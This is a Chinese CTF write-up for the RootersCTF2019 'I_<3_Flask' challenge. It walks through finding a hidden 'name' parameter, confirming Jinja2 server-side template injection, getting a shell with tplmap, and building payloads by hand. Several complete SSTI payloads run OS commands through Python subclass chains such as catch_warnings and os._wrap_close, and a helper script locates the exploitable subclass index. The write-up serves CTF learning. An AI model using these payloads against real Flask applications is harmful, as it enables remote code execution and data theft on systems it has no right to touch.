RootersCTF2019 I_<3_Flask 0x70-0x7F

发现漏洞

这道题是模板注入。

image-20220211102608147

首先查看源代码,并没有什么用。

image-20220211102910418

dirsearch爆破一下,什么也没有。

image-20220211102929099

本题是flask类题目,ctf常考点不过就是模板注入,所以我们需要寻找可注入参数,本地并没有给出,需要我们自己去爆破。

我们这里采用arjun工具进行爆破。工具链接:https://github.com/s0md3v/Arjun

image-20220211110028885最终可爆破出来参数name。

image-20220211105238512

image-20220211105250064

测试了一下的确存在模板注入。

接下来就是对漏洞的利用。

漏洞利用

工具tplmap

image-20220211110242684

image-20220211110254561

成功,发现为Jinja2模板,在ctf题目中经常考察

直接–os-shell拿下shell,读取flag

image-20220211110436293

手工利用

只会工具当然不行,有时候工具无法成功,就需要自己手动测试,所以如何手撸也是需要掌握的。

具体可参考这篇文章,东西很多且杂,写给自己看的大佬别喷我。

https://sakurahack-y.github.io/2021/10/15/ssti-flak%E6%A1%86%E6%9E%B6/

首先给几个比较通用的payload

http://b8ef4c5f-f8bd-40de-acd4-c17dec6fb0d6.node4.buuoj.cn:81/?name={% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

image-20220211111654284

http://b8ef4c5f-f8bd-40de-acd4-c17dec6fb0d6.node4.buuoj.cn:81/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20220211111724780

然后我们再讲一讲自己如何撸出来一个payload,做法就是寻找可利用的类。

1、有popen()的类

os._wrap_close
payload:
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

2、有os模块的

socket._socketobject(一般在71)、site._Printer等模块

payload:
{{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen(cat /xxx/flag)}}

3、有builtins的类

__ builtins __代码执行(最常用的方法)

warnings.catch_warnings含有,常用的还有email.header._ValueFormatter

__ builtins __ 是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__ builtins __ 这类模块在Python启动时为我们导入了,可以使用dir(__ builtins __ )来查看调用方法的列表,然后可以发现__ builtins __ 下有eval,__ import __等的函数,因此可以利用此来执行命令。

好了,接下来进行实践。

我们把所有子类列出来

image-20220211112131255

好家伙出来了很多啊,我们只需要找到我们需要的就好,我们用python脚本跑一下

import json

a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i
        
for k,v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k)+"--->"+v)

我们先来找下os._wrap_close

image-20220211112532522

已经出来了在132位,那么我们就可以构造一个payload

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}

我们来测试一下是否可以

image-20220211112709595

成功列出来了文件。

直接读取flag

image-20220211112747491

同理,可以利用的类还有很多啊,

image-20220211112931751

就像这个类也在里面包含着,我们同样可以利用它来获取flag。

方法有很多,理解原理并掌握其中几种方法即可。